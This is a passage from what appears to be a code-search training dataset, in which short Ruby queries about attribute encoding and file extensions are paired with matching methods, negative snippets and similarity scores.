charset_from_meta(@html[position + 5, length])\n\n break if charset\n\n position += position_increment\n\n # Then look for <! or </ or <?\n elsif @html[position, 2] =~ /\\A\\<[\\!\\/\\?]/\n\n # Advance position to the first > that appears next in string, or end\n position += @html[position, length].index('>') || length\n\n else\n # Do nothing. (This is just here to make the algorithm easier to follow)\n end\n\n # Advance position to next character\n position += 1\n end\n\n charset\n end" ]
[ "0.8212461", "0.7614022", "0.71493614", "0.71493614", "0.69041586", "0.6846234", "0.6846234", "0.67814547", "0.6751211", "0.67070156", "0.67070156", "0.6698964", "0.6657833", "0.6657833", "0.65677744", "0.65677744", "0.6538383", "0.65209985", "0.6510921", "0.6491617", "0.6491617", "0.6455964", "0.6422139", "0.64199376", "0.6392408", "0.6391445", "0.6391445", "0.6388826", "0.6372473", "0.6334837", "0.6325429", "0.6320721", "0.62918353", "0.6286012", "0.6275541", "0.6275541", "0.6275541", "0.6275541", "0.6275541", "0.62749916", "0.62749916", "0.6268313", "0.6226775", "0.62034327", "0.62034327", "0.61872923", "0.61848235", "0.6132735", "0.61273086", "0.6112357", "0.60667956", "0.60496056", "0.6021677", "0.59985423", "0.5977792", "0.5974447", "0.59319925", "0.59261566", "0.5923172", "0.5922449", "0.5913649", "0.5909513", "0.5909513", "0.5909513", "0.5906749", "0.59043485", "0.5896652", "0.589176", "0.589176", "0.5874728", "0.58701265", "0.5856778", "0.58450615", "0.5834896", "0.57848424", "0.5779232", "0.5756614", "0.5756614", "0.5756614", "0.57365096", "0.57365096", "0.57365096", "0.57365096", "0.57365096", "0.5732465", "0.57148474" ]
0.67556757
19
Sets the attribute encoding
def encoding=(_arg0); end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def meta_encoding=(encoding); end", "def meta_encoding=(encoding); end", "def encoding=(enc); end", "def encoding\n @attributes[:encoding]\n end", "def manage_meta_set_encoding encoding\n @manage_meta_encoding = encoding\n end", "def encoding=(enc)\n return unless super\n encoding_updated\n end", "def encoding= new_encoding\n frozen_check!\n @gapi.encoding = new_encoding\n end", "def encoding= new_encoding\n frozen_check!\n @gapi.encoding = new_encoding\n end", "def setDataEncoding(encoding)\n @fields['data_encoding'] = encoding\n self\n end", "def setDataEncoding(encoding)\n @fields['data_encoding'] = encoding\n self\n end", "def encoding(encoding); end", "def encoding= new_encoding\n frozen_check!\n @gapi.csv_options.encoding = new_encoding\n end", "def encoding= new_encoding\n frozen_check!\n @gapi.csv_options.encoding = new_encoding\n end", "def encoding(value = nil)\n value ? @encoding = value : @encoding\n end", "def set_encoding(text)\n unless text.encoding.name == \"UTF-8\"\n text = text.encode(\"UTF-8\", \n invalid: :replace, \n undef: :replace, \n replace: \"\"\n )\n end\n end", "def charset=(charset); end", "def output_encoding=(encoding)\n @@output_encoding = encoding\n end", "def force_encoding(enc)\n @enml.to_s.encode(enc)\n end", "def set_encoding\n Encoding.default_external = Encoding::UTF_8\n Encoding.default_internal = Encoding::UTF_8\n nil\n end", "def meta_encoding; end", "def meta_encoding; end", "def default_encoding=(_arg0); end", "def force_encoding(enc)\n end", "def force_encoding(enc)\n self\n end", "def default_encoding; end", "def default_encoding; end", "def set_encoding(p1, p2 = v2, p3 = {})\n #This is a stub, used for indexing\n end", "def attr_set_sb8(attr_type, attr_value)\n #This is a stub, used for indexing\n end", "def force_encoding(*); self; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding()\n #This is a stub, used for indexing\n end", "def update!(**args)\n @encoding = args[:encoding] if args.key?(:encoding)\n end", "def clean_utf\n attribute_names.each do |field|\n next unless self[field]\n next unless self[field].is_a? String\n next if field=='password_digest'\n self[field] = self[field].encode(\"UTF-8\",:invalid=>:replace,:undef=>:replace,:replace=>\"\")\n end\n end", "def force_default_encoding=(_arg0); end", "def fix_encoding\n self.title = EncodingManager.fix_encoding self.title\n self.url = EncodingManager.fix_encoding self.url\n self.author = EncodingManager.fix_encoding self.author\n self.content = EncodingManager.fix_encoding self.content\n self.summary = EncodingManager.fix_encoding self.summary\n self.guid = EncodingManager.fix_encoding self.guid\n end", "def setDefaultEncoding(encoding)\n @fields['default_encoding'] = encoding\n self\n end", "def setDefaultEncoding(encoding)\n @fields['default_encoding'] = encoding\n self\n end", "def minimal_set_encoding\n res1=self.hyphenated_set_encoding\n res2=self.set_escaped\n res1.size < res2.size ? res1 : res2\n end", "def accept_encoding=(value)\n Curl.set_option(:accept_encoding, value_for(value, :string), handle)\n end", "def set_attribute(name, value); end", "def hyphenated_set_encoding\n \"#{self[0].set_escaped(no_ctrl: true)}-#{self[-1].set_escaped(no_ctrl: true)}\"\n end", "def encoding(encoding)\n primitive \"encoding #{encoding}\"\n end", "def force_encoding(*args) settings.force_encoding(*args) end", "def set_char(attr, val); end", "def force_default_encoding; end", "def charset=(_); end", "def encodings; end", "def setup_encoding\n\t\t\t# TODO: Deprecate and remove this setup - it should be the responsibility of the server to set this correctly.\n\t\t\tif @external_encoding and Encoding.default_external != @external_encoding\n\t\t\t\twarn \"Updating Encoding.default_external from #{Encoding.default_external} to #{@external_encoding}\" if $VERBOSE\n\t\t\t\tEncoding.default_external = @external_encoding\n\t\t\tend\n\t\tend", "def attr_set_ub8(attr_type, attr_value)\n #This is a stub, used for indexing\n end", "def encoding(reload=false)#:doc:\n @encoding = barcode.encoding if reload\n @encoding ||= barcode.encoding\n end", "def writeencoding; end", "def encoding\n @content[pn(:Encoding)]\n end", "def charset=(cs)\n charset = cs.is_a?(Charset) ? cs : Charset.by_name(cs)\n query \"SET NAMES #{charset.name}\" if @protocol\n @charset = charset\n cs\n end", "def charset=(cs)\n charset = cs.is_a?(Charset) ? cs : Charset.by_name(cs)\n if @protocol\n @protocol.charset = charset\n query \"SET NAMES #{charset.name}\"\n end\n @charset = charset\n cs\n end", "def set_encoding\n Regexp.new(source.force_encoding('UTF-8'), Regexp::FIXEDENCODING | options)\n end", "def encoding\n # noop?\n end", "def encode_attr(name)\n \"a$\" + @attribute_name_generator.get(name.to_s)\n end", "def force_encoding(string)\n string.force_encoding(encoding)\n end", "def charset=(value)\n @defaulted_charset = false\n @charset = value\n @header.charset = value\n end", "def encoding(*args)\n if args.empty?\n return @encoding\n else\n @encoding = args[0]\n return self\n end\n end", "def migration_keys\n super + [:encoding]\n end", "def encoding\n @external_encoding\n end", "def content_encoding=( type )\n\t\treturn self.headers.content_encoding = type\n\tend", "def content_encoding=( type )\n\t\treturn self.headers.content_encoding = type\n\tend", "def set_external_encoding(encoding = Encoding::UTF_8)\n\t\t\t# TODO: Deprecate and remove this setup - it should be the responsibility of the server to set this correctly.\n\t\t\tif Encoding.default_external != encoding\n\t\t\t\twarn \"Updating Encoding.default_external from #{Encoding.default_external} to #{encoding}\" if $VERBOSE\n\t\t\t\tEncoding.default_external = encoding\n\t\t\tend\n\t\tend", "def initialize_marshalized_attribute(name, class_name)\n @attributes[name] = encode_attribute(Marshal.dump(class_name.new))\n end", "def default_space_encoding=(_arg0); end", "def process_encoding(source)\n source.force_encoding(Encoding::UTF_8)\n end", "def set_appearance_set(charset_base)\n @charset_base = charset_base\n update_appearance\n end", "def position_encoding\n attributes.fetch(:positionEncoding)\n end", "def encoding\n\t'ISO-8859-1'\nend", "def encoding_for(character)\n encoding_for_bars(ENCODINGS[character])\n end", "def external_encoding()\n #This is a stub, used for indexing\n end", "def default_encoding\n Encoding::UTF_8\n end", "def encoding\n Encoding::UTF_8\n end", "def encoding\n Encoding::UTF_8\n end", "def attribute_setter(attribute_name)\n \"set#{attribute_name.to_s.camelcase(:upper)}\"\n end", "def setelement(obj,attrib,value)\n #\"#{obj}:#{attrib}:#{Base64.encode64(value.to_s)}\"\n \"#{obj}:#{attrib}:#{value.to_s}\"\n end", "def determine_encodings!(*)\n @encoding ||= super\n end", "def set(string)\n self.data = string.encode(Encoding::UTF_16BE)\n end" ]
[ "0.7376397", "0.7376397", "0.73691785", "0.7342777", "0.7166655", "0.7103592", "0.69235164", "0.69235164", "0.6684824", "0.6684824", "0.6621973", "0.66046613", "0.66046613", "0.6464441", "0.638313", "0.63790923", "0.63775164", "0.6318219", "0.6306703", "0.6301071", "0.6301071", "0.6266027", "0.6259671", "0.6200707", "0.61974454", "0.61974454", "0.6183924", "0.6172295", "0.61512077", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.61269283", "0.6113705", "0.60828996", "0.60725194", "0.60358757", "0.60329616", "0.6014941", "0.6014941", "0.6005596", "0.5999699", "0.5993882", "0.596911", "0.596883", "0.5954324", "0.5947122", "0.59469193", "0.5895794", "0.58853036", "0.5867895", "0.58472294", "0.5842347", "0.5839135", "0.5814376", "0.5787547", "0.5772853", "0.5767434", "0.57297313", "0.5714533", "0.5699701", "0.56884414", "0.56699187", "0.56324506", "0.5626622", "0.56249076", "0.56249076", "0.5613762", "0.5578352", "0.55781996", "0.55767035", "0.5573407", "0.5567329", "0.555171", "0.5548313", "0.55421615", "0.5523495", "0.551614", "0.551614", "0.5515902", "0.551462", "0.5507478", "0.5499264" ]
0.6274879
24
Returns the value of attribute extension. source://mini_mime//lib/mini_mime.rb31
def extension; end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extension\n return _meta_data['extension'] if _meta_data.has_key? 'extension'\n ext\n end", "def file_extension; end", "def file_extension; end", "def file_extension; end", "def file_extension\n self.class.file_extension\n end", "def extension\n split_extension(filename)[1] if filename\n end", "def file_extension\n self::FILE_EXTENSION\n end", "def extension\n @file_data.original_filename.split(\".\").last\n end", "def extension\n @file_data.original_filename.split(\".\").last\n end", "def extension\n @file_data.original_filename.split(\".\").last\n end", "def file_extension\n FILE_EXTENSION\n end", "def extension\n begin\n @file_data.original_filename.split(\".\").last\n rescue\n @file_data.path.split(\".\").last\n end\n end", "def ext\n b,e = split_extension(filename)\n e\n end", "def file_extension(extension = T.unsafe(nil)); end", "def ext\n file.extension.downcase\n end", "def file_extension\n filename.split(\".\").last\n end", "def extension\n extensions.last || \"\"\n end", "def file_ext extension\n response_object.mime extension\n end", "def extension\n name.downcase\n end", "def extension_attribute9\n return @extension_attribute9\n end", "def extension\n @ext ||= ( ( e = File.extname( path ) ).empty? ? nil : e )\n end", "def st_extension\n return \"jpg\" unless self.class.st_config[:extension].present?\n if self.class.st_config[:extension].is_a?(String)\n self.class.st_config[:extension]\n else\n self.send(self.class.st_config[:extension])\n end\n end", "def extension\n path.split('.').last\n end", "def extension_attribute13\n return @extension_attribute13\n end", "def extension_attribute1\n return @extension_attribute1\n end", "def ext\n @ext ||= File.extname(path)\n end", "def ext_of(filename)\n filename =~ extension_regex ? $2 : ''\n end", "def extension_attribute8\n return @extension_attribute8\n end", "def extension_attribute14\n return @extension_attribute14\n end", "def get_extension filename\n unless filename.nil?\n filename.to_s.scan(/\\.([\\w+-]+)$/).flatten\n else\n false\n end\n end", "def extension\n File.extname(@io.original_filename)\n end", "def extname; end", "def extname; end", "def extname; end", "def extname; end", "def get_file_extension(mime_type)\n '.' + MimeMagic.new(mime_type).extensions.first || ''\n end", "def extension\n filename =~ /\\./ ? filename.split('.').last : nil\n end", "def get_ext (file)\n\n\t\tif file.is_a? String\n\t\t\treturn File.extname(file)\n\t\telsif file.is_a? File\n\t\t\treturn File.extname(file.path)\n\t\tend\n\n\tend", "def _extension_for(thing)\n MIMETypes.extension_for(thing) || @_extension\n end", "def extension(key)\r\n return nil unless @extensions.has_key?(key)\r\n return @extensions[key]\r\n end", "def ext\n File.extname( fullpath )\n end", "def filename_extension # required\n if manifest_property.is_a? Array\n manifest_property # eg [ \".c\", \".h\" ]\n else\n [ manifest_property ] # eg \".py\"\n end\n end", "def extension_attribute3\n return @extension_attribute3\n end", "def extension_attribute7\n return @extension_attribute7\n end", "def ext\n File.extname(path)\n end", "def extension\n extension_from_disk.blank? ? extension_from_feed : extension_from_disk\n end", "def extension(key)\n @extensions[key.to_s]\n end", "def ext\n File.extname(@path)\n end", "def extension_attribute12\n return @extension_attribute12\n end", "def extension_attribute4\n return @extension_attribute4\n end", "def extname\n File.extname(filename)\n end", "def extension\n File.extname(id)[1..-1] || File.extname(original_filename.to_s)[1..-1]\n end", "def extension_attribute11\n return @extension_attribute11\n end", "def extension_attribute5\n return @extension_attribute5\n end", "def get_extension(path)\n return path[/^.+(\\.[a-z0-9]+)$/i, 1]\n end", "def ext\n Rack::Mime::MIME_TYPES.invert[data_content_type]\n end", "def extension(file)\n target_extension || File.extname(file)\n end", "def file_ext\n Asset.file_ext(self.file_name) if self.file?\n end", "def file_ext\n File.extname(@file_name).downcase\n end", "def extension_attribute6\n return @extension_attribute6\n end", "def extname\n\t\treturn nil unless src\n\n\t\tFile.extname url.path\n\tend", "def extension_attribute15\n return @extension_attribute15\n end", "def get_file_extension(arr)\n\nend", "def extension_attribute10\n return @extension_attribute10\n end", "def file_extension\n return \"oemodel\"\n end", "def extension(value)\n node_data[\"x-#{value}\"]\n end", "def extension_item\n return @children['extension-item'][:value]\n end", "def original_extension\n File.extname(original_filename)\n end", "def extension_attribute2\n return @extension_attribute2\n end", "def by_extension(ext); end", "def ext_of(filename)\n filename =~ /((\\.[a-z]+)*)$/ ? $1 : ''\n end", "def extension\n filename = File.extname(self.filename.to_s)\n filename[0] = '' # remove the dot, i.e. (.docx or .pptx)\n filename\n end", "def get_extension(fileName)\n file_extension = File.extname(fileName)\n file_extension = file_extension.split('.')\n file_extension.last\n end", "def getExtension(eType)\r\n return @langProfile.getExtension(eType)\r\n end", "def extension\n File.basename(root_path)\n end", "def extensions\n data.extensions\n end", "def file_ext(filename)\n File.extname( filename ).gsub(\".\", \"\") rescue nil\n end", "def extname\n File.extname(url)\n end", "def extension\n filename = File.extname(self.filename.to_s)\n filename[0] = '' # remove the dot, i.e. (.docx or .pptx)\n filename\n end", "def real_extension(filename)\n ext = File.extname(filename)\n return ext if ext.empty?\n ext = ext[1, ext.length - 1].sub('.', '_').downcase\n e_s = ext.to_sym\n return ext unless ALT_EXTENSIONS.key?(e_s)\n ALT_EXTENSIONS[e_s].dup\n end", "def extname() File.extname(@path) end", "def mime_type\n @attributes[:mime_type]\n end", "def extension\n @extension ||= '.html'\n end", "def getExtension(eType)\n return @langProfile.getExtension(eType)\n end", "def getExtension(eType)\n return @langProfile.getExtension(eType)\n end", "def ext\n @ext ||= path.split('.').size > 1 ? path.split('.')[-1] : 'html'\n end", "def extname() File.extname(path) end", "def extension\n config['plantuml']['extension'] || begin\n ext = type.split(':', 2).first\n case ext\n when 'braille'\n ext = 'png'\n when 'txt'\n ext = 'atxt'\n end\n ext\n end\n end", "def uri_extension\n @uri_extension ||= File.extname(uri.path)\n end", "def extension?\n @extension != \"\"\n end", "def extension=(v) Axlsx::validate_string v; @extension = v end", "def extension(value)\n self[\"x-#{value}\"]\n end", "def ext_for_file(key, filename = nil, content_type = nil)\n if filename.blank?\n options = key.respond_to?(:attributes) ? key.attributes : {}\n filename = ActiveStorage::Filename.new(options[:filename]) if options.has_key?(:filename)\n end\n ext = filename.respond_to?(:extension_without_delimiter) ? filename.extension_without_delimiter : nil\n\n return ext unless ext.blank?\n\n # Raw files are not convertible, no extension guessing for them\n return nil if content_type_to_resource_type(content_type).eql?('raw')\n\n # Fallback when there is no extension.\n @formats ||= Hash.new do |h, key|\n ext = Rack::Mime::MIME_TYPES.invert[key]\n h[key] = ext.slice(1..-1) unless ext.nil?\n end\n @formats[content_type]\n end", "def infer_extension\n return if name.nil?\n\n self.extension ||= File.extname(name)\n end", "def getFileExt(file_name)\n \text = file_name.split('.')\n \tif(ext.length > 1)\n \t\tf_ext = ext[ext.length - 1]\n\t\t\n \t\tif(f_ext)\n \t\t\treturn f_ext\n \t\tend\n \tend\n end", "def ext_attr\n attribute_prop(10)\n end", "def process\n self.ext = File.extname(name)\n end", "def expected_extension(args)\n if md = args.match(/(-e|--ext)\\s+(\\w+)/)\n md[2]\n elsif args[\"--mzXML\"]\n \".mzXML\"\n elsif args[\"--mgf\"]\n \".mgf\"\n elsif args[\"--text\"]\n \".txt\"\n else ; \".mzML\"\n end\n end", "def get_mimetype_from_extension(file_ext)\r\n valid_mime_types = {\r\n \"bmp\" => \"image/bmp\",\r\n \"gif\" => \"image/gif\",\r\n \"jpeg\" => \"image/jpeg\",\r\n \"jpg\" => \"image/jpeg\",\r\n \"png\" => \"image/png\"\r\n }\r\n return valid_mime_types[file_ext]\r\n end", "def extension_properties\n return @extension_properties\n end", "def file_extension_content_type filename\n types = MIME::Types.type_for(filename)\n types.empty? ? nil : types.first.content_type\n end" ]
[ "0.8063065", "0.7421122", "0.7421122", "0.7421122", "0.73660505", "0.7337381", "0.72885555", "0.72528535", "0.72528535", "0.72528535", "0.7207102", "0.71923804", "0.7182855", "0.7134607", "0.7107855", "0.7077193", "0.7053387", "0.70439863", "0.70192146", "0.7006751", "0.6967253", "0.6919332", "0.6905694", "0.6904366", "0.6902437", "0.6873951", "0.6858206", "0.6832403", "0.68294024", "0.6815918", "0.6796267", "0.67955256", "0.67955256", "0.67955256", "0.67955256", "0.6793751", "0.6790581", "0.67770517", "0.6774645", "0.6769907", "0.6768303", "0.67629504", "0.6742085", "0.67376596", "0.6720053", "0.67104936", "0.6707568", "0.6702946", "0.66999906", "0.6689559", "0.66871905", "0.6677338", "0.66756594", "0.66582274", "0.66576827", "0.6649021", "0.663897", "0.659527", "0.65919936", "0.6585283", "0.6580199", "0.65781116", "0.65734696", "0.65611136", "0.656069", "0.6556367", "0.6542982", "0.65403795", "0.6533018", "0.6522693", "0.6521391", "0.6496356", "0.6488415", "0.64750165", "0.6471458", "0.64147097", "0.64141995", "0.6398939", "0.6388873", "0.6381825", "0.63742435", "0.63620806", "0.63299745", "0.6324977", "0.6324977", "0.6312884", "0.625969", "0.625015", "0.62332684", "0.6227175", "0.62147385", "0.6207692", "0.62061", "0.6205411", "0.6180195", "0.61680907", "0.61660254", "0.61575764", "0.6150522", "0.61431366", "0.61422265" ]
0.0
-1
Sets the attribute extension
def extension=(_arg0); end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extension_attribute1=(value)\n @extension_attribute1 = value\n end", "def extension=(extension)\n instance_set(:extension, extension)\n end", "def extension_attribute3=(value)\n @extension_attribute3 = value\n end", "def extension_attribute14=(value)\n @extension_attribute14 = value\n end", "def extension_attribute2=(value)\n @extension_attribute2 = value\n end", "def extension_attribute9=(value)\n @extension_attribute9 = value\n end", "def extensions=(val)\n set_extensions(val)\n val\n end", "def extension_attribute6=(value)\n @extension_attribute6 = value\n end", "def extension_attribute13=(value)\n @extension_attribute13 = value\n end", "def extension_attribute11=(value)\n @extension_attribute11 = value\n end", "def extension_attribute4=(value)\n @extension_attribute4 = value\n end", "def extension_attribute12=(value)\n @extension_attribute12 = value\n end", "def extension=(v) Axlsx::validate_string v; @extension = v end", "def extensions=(value)\n @extensions = value\n end", "def extensions=(value)\n @extensions = value\n end", "def extensions=(value)\n @extensions = value\n end", "def extension_attribute7=(value)\n @extension_attribute7 = value\n end", "def extension_attribute15=(value)\n @extension_attribute15 = value\n end", "def extensions=(value)\n subtags = Array(value).flatten\n self.extensions_sequence = subtags.empty? ? nil : subtags.join(HYPHEN)\n end", "def set attrib, value\n if attrib.is_a? String and attrib.include? \".\"\n syms = attrib.split(\".\")\n first = syms[0]\n rest = syms[1..-1].join(\".\")\n self.send(first).set(rest, value)\n else\n self.send(\"#{attrib}=\".to_sym, value)\n end\n end", "def extensions=(extensions)\n @extensions = Array extensions\n end", "def extensions=(extensions); end", "def extension_attribute5=(value)\n @extension_attribute5 = value\n end", "def extension_attribute10=(value)\n @extension_attribute10 = value\n end", "def extension_attribute8=(value)\n @extension_attribute8 = value\n end", "def set_extensions(val)\n @extensions = val\n build_path_query\n @extensions\n end", "def extension=(mod)\n mod = Module.new(&mod) if Proc === mod\n @extension = mod\n end", "def ext_attr\n attribute_prop(10)\n end", "def extension_name=(name)\n clear!\n @extension_name = name\n end", "def ext=(e)\n super(e.ergo.gsub(/\\./,'').downcase)\n end", "def extension_properties=(value)\n @extension_properties = value\n end", "def extension name, enable\n if enable then\n @extensions |= [name]\n else\n @extensions -= [name]\n end\n end", "def set_attribute(name, value); end", "def format=(extension); end", "def set_extension\n @extension = Fonelator::Extension.find(params[:id])\n end", "def src_extensions(extensions = nil)\n extensions ? @src_extensions = extensions : get_inherited_attribute(\"@src_extensions\")\n end", "def enable_extension(name)\n end", "def add_encoded_extension(encoded); end", "def extension_attribute1\n return @extension_attribute1\n end", "def set_extension\n @extension = Extension.find(params[:id])\n end", "def set_extension\n @extension = Extension.find(params[:id])\n end", "def set_extension\n @extension = Extension.find(params[:id])\n end", "def add_extension(path); end", "def extension(*extensions)\n if extensions[0].is_a?(Array)\n @_ext = extensions[0]\n else\n @_ext = extensions\n end\n end", "def add_ext(str,ext)\n ( str.strip=~/\\.#{ext}$/ ) ? str.strip : \"#{str.strip}.#{ext}\"\n end", "def mobile_extension=(mobile_extension)\n\n if !mobile_extension.nil? && mobile_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'mobile_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @mobile_extension = mobile_extension\n end", "def mobile_extension=(mobile_extension)\n\n if !mobile_extension.nil? && mobile_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'mobile_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @mobile_extension = mobile_extension\n end", "def enable_extension(name, **)\n end", "def extension=(mod)\n if Proc === mod\n mod = Module.new { define_method(:value, &mod) }\n end\n\n raise ArgumentError, \"Extension must be a Module\" unless Module === mod\n\n @extension = mod\n end", "def extension(key)\n @extensions[key.to_s]\n end", "def extension_attribute5\n return @extension_attribute5\n end", "def extension_attribute9\n return @extension_attribute9\n end", "def change_extension(file, new_extension)\n file.sub(/\\.[a-zA-Z0-9]+\\z/, new_extension)\n end", "def extension_attribute14\n return @extension_attribute14\n end", "def smb_auto_encrypted_file_extensions=(value)\n @smb_auto_encrypted_file_extensions = value\n end", "def add_extension(path, name = T.unsafe(nil)); end", "def extensions(range)\n @extension_tag = range\n end", "def extensions_sequence=(value)\n sequence = value ? value.to_str : nil\n if sequence && EXTENSIONS_SEQUENCE_REGEX !~ \"#{HYPHEN}#{sequence}\"\n raise InvalidComponentError, \"#{value.inspect} does not conform to the 'extensions' ABNF.\"\n end\n set_extensions_sequence(sequence)\n dirty\n validate\n end", "def add_extension(extension)\n extensions.push extension\n end", "def by_extension(ext); end", "def add_extension_arg(namespace, key, value)\n @message.set_arg(namespace, key, value)\n end", "def formats=(extensions); end", "def extension_attribute13\n return @extension_attribute13\n end", "def extension_attribute3\n return @extension_attribute3\n end", "def extension_attribute6\n return @extension_attribute6\n end", "def process(name)\n self.ext = File.extname(name)\n end", "def process(name)\n self.ext = File.extname(name)\n end", "def process(name)\n self.ext = File.extname(name)\n end", "def process(name)\n self.ext = File.extname(name)\n end", "def extension_attribute2\n return @extension_attribute2\n end", "def setAttrib(name,value)\n\t\t@attributes[name] = value\n\tend", "def extension_attribute12\n return @extension_attribute12\n end", "def extension_attribute4\n return @extension_attribute4\n end", "def target_extension; end", "def extension_attribute7\n return @extension_attribute7\n end", "def extension_attribute8\n return @extension_attribute8\n end", "def office_extension=(office_extension)\n\n if !office_extension.nil? && office_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'office_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @office_extension = office_extension\n end", "def office_extension=(office_extension)\n\n if !office_extension.nil? && office_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'office_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @office_extension = office_extension\n end", "def extension_attribute11\n return @extension_attribute11\n end", "def add_extension(extension)\n @parts[-1] += extension\n self\n end", "def add_extensions(*extensions)\n self.extensions += extensions\n end", "def attribute_method_suffixes\n @@attribute_method_suffixes ||= []\n end", "def extension_attribute10\n return @extension_attribute10\n end", "def extension_attribute15\n return @extension_attribute15\n end", "def wix_light_extension(extension)\n unless extension.is_a?(String)\n raise InvalidValue.new(:wix_light_extension, 'be an String')\n end\n\n wix_light_extensions << extension\n end", "def extension; end", "def extension; end", "def extension; end", "def extension; end", "def extension(file)\n super\n end", "def filename=(filename)\n valid_extension?(filename)\n @filename = filename \n end", "def process\n self.ext = File.extname(name)\n end", "def home_extension=(home_extension)\n\n if !home_extension.nil? && home_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'home_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @home_extension = home_extension\n end", "def home_extension=(home_extension)\n\n if !home_extension.nil? && home_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'home_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @home_extension = home_extension\n end", "def add_extension(mod, options = {})\n self.extend(mod)\n options = mod.send(:prepare_options, options || {}) if mod.respond_to?(:prepare_options)\n extension_options[mod] = options\n self\n end", "def extension(value)\n self[\"x-#{value}\"]\n end", "def custom_workflow_extensions=(value)\n @custom_workflow_extensions = value\n end", "def Extension=(v) Axlsx::validate_string", "def script_extension\n dup.add_extension(SCRIPT_EXTENSION)\n end", "def defext\n @defext ||= OY::Markup.default_extension.to_sym\n end", "def set_extension(extension)\n response = AGIResponse.new\n command_str = \"SET EXTENSION #{extension}\"\n begin\n response.native = execute(command_str)\n rescue AGITimeoutError, AGICommandError, AGIHangupError\n raise\n end\n if response.native == -1 then\n raise AGIChannelError.new(@last_response, \"Channel Failure in (#{command_str})\")\n elsif response.native == 0\n response.success = true\n end\n return response\n end" ]
[ "0.742453", "0.734967", "0.71110153", "0.7061434", "0.705553", "0.7041232", "0.703116", "0.70078224", "0.69560146", "0.69391716", "0.69026536", "0.6895247", "0.6874074", "0.6844641", "0.6844641", "0.6844641", "0.6840875", "0.6768211", "0.67635477", "0.67188257", "0.66895163", "0.66814846", "0.6664267", "0.6663953", "0.651655", "0.6387213", "0.62976813", "0.626506", "0.62478906", "0.62471896", "0.61951596", "0.6130194", "0.6095754", "0.6087616", "0.608249", "0.6067714", "0.60516757", "0.6032747", "0.6020949", "0.59512734", "0.59512734", "0.59512734", "0.5919014", "0.58766615", "0.58697826", "0.58686584", "0.58686584", "0.5860266", "0.5824098", "0.5808177", "0.5787365", "0.5785562", "0.57674855", "0.5761531", "0.57560474", "0.57493126", "0.57466054", "0.57378584", "0.5731088", "0.57233155", "0.5703531", "0.57011735", "0.5689447", "0.56823534", "0.5681624", "0.56789285", "0.56789285", "0.56789285", "0.56789285", "0.5674904", "0.56700927", "0.56689185", "0.5668828", "0.56558007", "0.5654872", "0.56340206", "0.56333685", "0.56333685", "0.56325334", "0.56269604", "0.56192344", "0.55986065", "0.55974513", "0.55945534", "0.5589139", "0.5579667", "0.5579667", "0.5579667", "0.5579667", "0.55720824", "0.55602", "0.555525", "0.555444", "0.555444", "0.55454856", "0.554524", "0.5522668", "0.55142426", "0.5498591", "0.5483155", "0.5473662" ]
0.0
-1
This will both create and update any merchants
def create_update(user) merchant_list.each do |m| # Look for merchants that this affiliate account is actively associated with. if m['Association_Status'] == 'active' merchant = do_db(m) user.merchants << merchant unless user.merchants.include?(merchant) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def merchants=(merchants)\n assert_unloaded\n @merchants = Array(merchants)\n end", "def put_merchants_into_iso_group\n if @merchants\n @logger.info(\"Puting merchants into ISO groups\")\n @merchants.each do |merchant|\n unless (merchant.emp_agent.empty? || merchant.emp_agent.first.emp_iso.empty?)\n sg = find_sugarcrm_object('security_group','name', merchant.emp_agent.first.emp_iso.first.name) \n @logger.info(\"Puting merchant #{merchant.name} into ISO group\")\n \n if sg\n merchant.associate! sg\n put_email_objects_into_iso_group(sg, merchant.sf_id)\n put_payment_methods_objects_into_iso_group(sg, merchant.sf_id)\n end\n \n bank = find_sugarcrm_object('settlement_bank_account', 'sf_merchant', merchant.sf_id)\n if (bank)\n @logger.info(\"Puting Bank Account for #{merchant.name} into ISO group\")\n put_bank_accounts_into_iso_group(bank, sg)\n end\n end\n end\n end\n end", "def update\n\n respond_to do |format|\n if @tenant.update(tenant_params)\n p_id = Property.searchSecond(@tenant.tenantbuildinginfo)\n Property.find_by(id: p_id).tenants << @tenant\n format.html { redirect_to @tenant, notice: 'Tenant was successfully updated.' }\n format.json { render :show, status: :ok, location: @tenant }\n else\n format.html { render :edit }\n format.json { render json: @tenant.errors, status: :unprocessable_entity }\n end\n end\n\n if params[:generate_lease]\n generate_lease(@tenant)\n elsif params[:expense_add]\n expense_addendum(@tenant)\n else\n #do nothing\n end\n\n end", "def create\n outcome = Merchants::Create.run(merchant_params)\n\n # Then check to see if it worked:\n if outcome.success?\n render_success_response({ merchant: outcome.result })\n else\n render_unprocessable_entity(outcome.errors.symbolic)\n end\n end", "def new\n @tenancy_agreement = TenancyAgreement.new\n \n @tenants = @tenancy_agreement.tenants.build\n \n @tenants.build_place_of_work.build_contact_detail.build_address\n \n @tenants.build_contact_detail.build_address\n #@contact_detail.build_address\n \n #@tenancy_agreement.tenant.build.build_place_of_work.build_contact_detail.build_address\n \n #@place_of_work = @tenant.build_place_of_work\n #@contact_detail2 = @place_of_work.build_contact_detail\n #@contact_detail2.build_address\n \n @tenancy_agreement.estate_agent_id = current_user.estate_agent_id\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tenancy_agreement }\n end\n end", "def update \n 